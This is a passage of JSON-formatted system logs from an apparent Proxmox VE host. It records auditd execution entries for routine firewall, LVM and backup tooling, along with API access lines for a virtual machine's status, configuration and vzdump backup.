exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 475"} {"@timestamp":1781965875184,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.184:67474): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964263522,"@rawstring":"node=pve type=EXECVE msg=audit(1781964263.522:60272): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965625603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.603:66396): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139f20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63770 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885337,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.337:67514): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe9d7a7cd0 a1=56ef6ce6f310 a2=56ef6ce68680 a3=5 items=2 ppid=64835 pid=64836 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 251"} {"@timestamp":1781965875181,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.181:67473): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964263514,"@rawstring":"node=pve type=EXECVE msg=audit(1781964263.514:60269): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965625582,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.582:66395): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e9ff0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63769 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885333,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.333:67512): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64835 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:31 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965875181,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.181:67472): argc=1 a0=\"date\""} {"@timestamp":1781964258507,"@rawstring":"node=pve type=EXECVE msg=audit(1781964258.507:60266): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965624822,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965624.822:66394): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f9240 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63766 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.324:67511): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64834 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:31 +0100] \"POST /api2/extjs/nodes/pve/vzdump HTTP/1.1\" 200 79"} {"@timestamp":1781965875176,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.176:67470): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964258497,"@rawstring":"node=pve type=EXECVE msg=audit(1781964258.497:60263): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965624792,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965624.792:66393): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ab0c0 a1=64f8d7406b50 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63765 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885317,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.317:67510): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64833 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052697,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781965875168,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.168:67469): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964255326,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.326:60260): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965623715,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965623.715:66392): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63764 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885312,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.312:67509): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b053f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64832 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965051691,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965875158,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.158:67468): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964255323,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.323:60259): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965623706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965623.706:66389): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63763 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.303:67508): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee440 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64831 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965051691,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:30 +0100] \"GET /api2/extjs/nodes/pve/vzdump/defaults?_dc=1781965049911&storage=local HTTP/1.1\" 200 394"} {"@timestamp":1781965875153,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.153:67467): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964255320,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.320:60258): argc=1 a0=\"date\""} {"@timestamp":1781965618698,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965618.698:66386): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63760 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885292,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.292:67507): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64830 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965051691,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:30 +0100] \"GET /api2/json/nodes/pve/storage?format=1&content=backup HTTP/1.1\" 200 333"} {"@timestamp":1781965875145,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.145:67466): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964255316,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.316:60256): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965618690,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965618.690:66383): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63759 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965884649,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965884.649:67506): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965050682,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:29 +0100] \"GET /api2/json/nodes/pve/storage/local/content?content=backup HTTP/1.1\" 200 11"} {"@timestamp":1781965875133,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.133:67465): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964255310,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.310:60255): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965615553,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.553:66380): arch=c000003e syscall=59 success=yes exit=0 a0=5b690ed210e0 a1=5b690ed1de60 a2=5b690ecff680 a3=5 items=2 ppid=63751 pid=63757 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965884641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965884.641:67503): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7410340 a1=64f8d73dcfc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64825 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965050682,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:29 +0100] \"GET /api2/json/nodes/pve/storage?format=1&content=backup HTTP/1.1\" 200 333"} {"@timestamp":1781965874621,"@rawstring":"node=pve type=EXECVE msg=audit(1781965874.621:67464): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964255302,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.302:60254): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965615548,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.548:66379): arch=c000003e syscall=59 success=yes exit=0 a0=5b69038e8ac8 a1=7ffeeb1f2d60 a2=5b690ecff680 a3=5b69038cc24e items=2 ppid=63751 pid=63753 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965884641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965884.641:67502): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965050682,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965874603,"@rawstring":"node=pve type=EXECVE msg=audit(1781965874.603:67461): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964255295,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.295:60253): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965615547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.547:66378): arch=c000003e syscall=59 success=yes exit=0 a0=7ffeeb1f2d20 a1=5b690ed06310 a2=5b690ecff680 a3=5 items=2 ppid=63751 pid=63752 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965884604,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965884.604:67499): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d1760 a1=64f8d73af440 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64824 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965049605,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965874473,"@rawstring":"node=pve type=EXECVE msg=audit(1781965874.473:67458): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964255288,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.288:60252): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965615540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.540:66376): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63751 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965879634,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965879.634:67498): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64823 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965049605,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:28 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965874442,"@rawstring":"node=pve type=EXECVE msg=audit(1781965874.442:67457): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964255282,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.282:60250): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965615530,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.530:66375): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63750 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965879628,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965879.628:67495): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64822 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965049605,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:28 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965869597,"@rawstring":"node=pve type=EXECVE msg=audit(1781965869.597:67456): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964255277,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.277:60249): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965615520,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.520:66374): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63749 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.281:67492): arch=c000003e syscall=59 success=yes exit=0 a0=556e5257dd70 a1=556e52589b30 a2=556e52557680 a3=5 items=2 ppid=64815 pid=64821 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965049605,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:28 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965869587,"@rawstring":"node=pve type=EXECVE msg=audit(1781965869.587:67453): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964255271,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.271:60248): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965615512,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.512:66373): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63748 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.277:67491): arch=c000003e syscall=59 success=yes exit=0 a0=556e1c362ac8 a1=7fff0163ea10 a2=556e52557680 a3=556e1c34624e items=2 ppid=64815 pid=64817 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965049605,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965866122,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.122:67450): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964255264,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.264:60247): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965615501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.501:66372): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63747 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.276:67490): arch=c000003e syscall=59 success=yes exit=0 a0=7fff0163e9d0 a1=556e52579410 a2=556e52557680 a3=5 items=2 ppid=64815 pid=64816 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965049605,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/pending HTTP/1.1\" 200 865"} {"@timestamp":1781965866119,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.119:67449): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964255259,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.259:60246): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965615496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.496:66371): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5ea5294a4740 items=0 ppid=1156 pid=63746 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965875271,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.271:67488): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64815 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965048569,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/pending HTTP/1.1\" 200 865"} {"@timestamp":1781965866118,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.118:67448): argc=1 a0=\"date\""} {"@timestamp":1781964255253,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.253:60245): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965615492,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.492:66370): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc147390 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63746 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875264,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.264:67487): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64814 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965048569,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:27 +0100] \"PUT /api2/extjs/nodes/pve/qemu/877/config HTTP/1.1\" 200 25"} {"@timestamp":1781965866113,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.113:67446): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964255246,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.246:60244): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965615484,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.484:66369): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1474c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63745 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875255,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.255:67486): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965048569,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965866106,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.106:67445): argc=1 a0=\"ip6tables-save\""} 